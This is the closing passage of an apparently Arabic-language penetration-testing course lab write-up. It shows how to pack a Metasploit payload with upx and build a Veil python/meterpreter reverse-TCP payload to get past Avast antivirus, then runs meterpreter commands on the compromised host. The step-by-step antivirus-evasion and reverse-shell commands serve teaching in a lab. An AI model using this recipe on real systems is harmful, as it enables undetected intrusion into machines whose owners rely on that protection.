5 مرات 213 | 214 | طيب الان خلونا نرجع لجهاز التارقت ونحمل البايلود الجديد 215 | ونشوف انه الـ Avast AV also blocked this file, So the downloading failed 216 | 217 | خلونا الان نستخدم اداة جديدة اسمها upx وظيفتها راح تضغط لنا الملف 218 | ```bash 219 | upx --best --ultra-brute -f rTCPenc.exe -o rTCPenc2.exe 220 | ``` 221 | نشوف الان انه تم تشفير ملف الـ exe 222 | 223 | خلونا نرجع لجهاز التارقت الان ونحاول نحمل الملف الجديد 224 | نشوف انه كذالك رفض يحمل الملف الجديد 225 | وهذا يعني ان الـ Avast AV detected this encoded and packed payload as well 226 | 227 | So the msfvenom payload wasn't successful in bypassing Avast AV's detection, and neither were the encoded or packed payloads! 228 | 229 | 230 | طيب الان راح نحاول نطبق شي جديد والي هو Veil Framework 231 | نفتح تاب جديد ونكتب الامر التالي عشان يفتح لنا الفريم وورك 232 | ```bash 233 | veil 234 | ``` 235 | نشوف انه فتح لنا وقال فيه اداتين متوفره Evasion & Ordnance 236 | خلونا نختار الخيار الاول وهو Evasion payload 237 | ```bash 238 | use 1 239 | ``` 240 | الان قالنا انه فيه 41 بايلود نقدر نستخدمه 241 | خلونا نستعرضهم عن طريق الامر التالي 242 | ```bash 243 | list 244 | ``` 245 | طيب خلونا نجرب البايلود الي رقمه 28 والي هو 246 | ```bash 247 | python/meterpreter/rev_tcp.py 248 | ``` 249 | عشان نستخدم هذا البايلود نكتب الامر هذا 250 | ```bash 251 | use 28 252 | ``` 253 | طبعا في هذا البايلود يحتاج متغيرين والي هي LPORT , LHOST 254 | خلونا نعطيه القيم هذي بهذي الاوامر 255 | ```bash 256 | set LHOST 172.16.5.101 257 | set LPORT 4444 258 | generate 259 | ``` 260 | الان نشوف انه حفظ لنا المخرجات في ملف اسمه rTCPveil 261 | 262 | خلونا الان نسوي الـ payload executable 263 | راح نستخدم PyInstaller 264 | فنعيطه رقم 1 والان نشوف انه قاعد يسوي لنا الملف التشغيلي 265 | ونشوف انه قالنا انه انتهى وعطانا مسار الملف 266 | اضغط انتر الان بعدين نكتب exit 267 | 268 | الان طلعنا من الفريم وورك خلونا نجيب الملف بنفس المسار الي فتحنا فيه بايثون سيرفر 269 | ```bash 270 | mv /var/lib/veil/output/compiled/rTCPveil.exe . 271 | file rTCPveil.exe 272 | ``` 273 | الان لو نروح نحمله نشوف انه رفض يحمل معنا 274 | طيب خلونا نرجع لاداة upx 275 | ```bash 276 | upx --best --ultra-brute -f rTCPveil.exe -o rTCPveil2.exe 277 | file rTCPveil2.exe 278 | ``` 279 | طيب حلو الان لو نحاول نحمله نشوف انه تمام تحمل معنا بدون مشاكل 280 | والانتي فايروس ماصاده وهذا يعني ان التوقيع او الـ Signature مو موجود في قاعدة الانتي فايروس 281 | ف بكذا نتلاعب بالـ Signature 282 | 283 | وهذا يعني انه احد الطرق الي يصيد فيها الانتي فايروس هي الـ Signature 284 | فهذا يعني انه الانتي فايروسس عندهم قاعدة بيانات كبيره فيها Signature معين لو حصله على طول راح يسوي بلوك للملف الي تحمله ويرفض تحميله على الجهاز 285 | ف انت المطلوب منك عشان تتخطى هذا الـ Signature انك تتلاعب فيه 286 | فيه طبعا طرق اخرى للبايباس لكن لابد بالاول تعرف وش الي قاعد يصير له detect 287 | 288 | 289 | خلونا الان نشغل الملف ونرجع للـ msfconsole 290 | نشوف انه عطانا meterpreter session 291 | خلونا ننفذ الاوامر المعتاده 292 | ```bash 293 | sysinfo 294 | getuid 295 | ``` 296 | الان راح نستعرض البروسس حقت الـ Avast 297 | ```bash 298 | ps -f Avast 299 | ``` 300 | وهنا نشوف انه الـ Avast AV is running on the 301 | خلونا نجرب الان نفتح الالة الحاسبة من السيشن 302 | ```bash 303 | execute -f calc.exe 304 | ``` 305 | نرجع لجهاز التارقت ونشوف انه فعلا فتح لنا الالة الحاسبة بدون اي مشاكل 306 | ولو ندخل على الـ Avast بالتحديد Protection نشوف انه فعلا شغال ومعنا الشيل 307 | 308 | 309 | الى هنا انتهى اللاب 310 | 311 | 312 | الى هنا انتهينا من القسم هذا كامل الحمدالله 313 | 314 | وبكذا انتهت الدورة كاملة الحمدالله 315 | كانت ايام ممتعة اشكر الجميع من سايبرهب و المحاضر نواف الرويلي وكذالك الشباب بالدورة ماقصرو ساعدونا كثير 316 | 317 | 318 | نراكم على خير باذن الله 319 | 320 | 321 | --- 322 | 323 | ## Follow us on: 324 | Twitter: 325 | [s4cript](https://twitter.com/s4cript) 326 | [cyberhub](https://twitter.com/cyberhub) 327 | [0xNawaF1](https://twitter.com/0xNawaF1) 328 | --------------------------------------------------------------------------------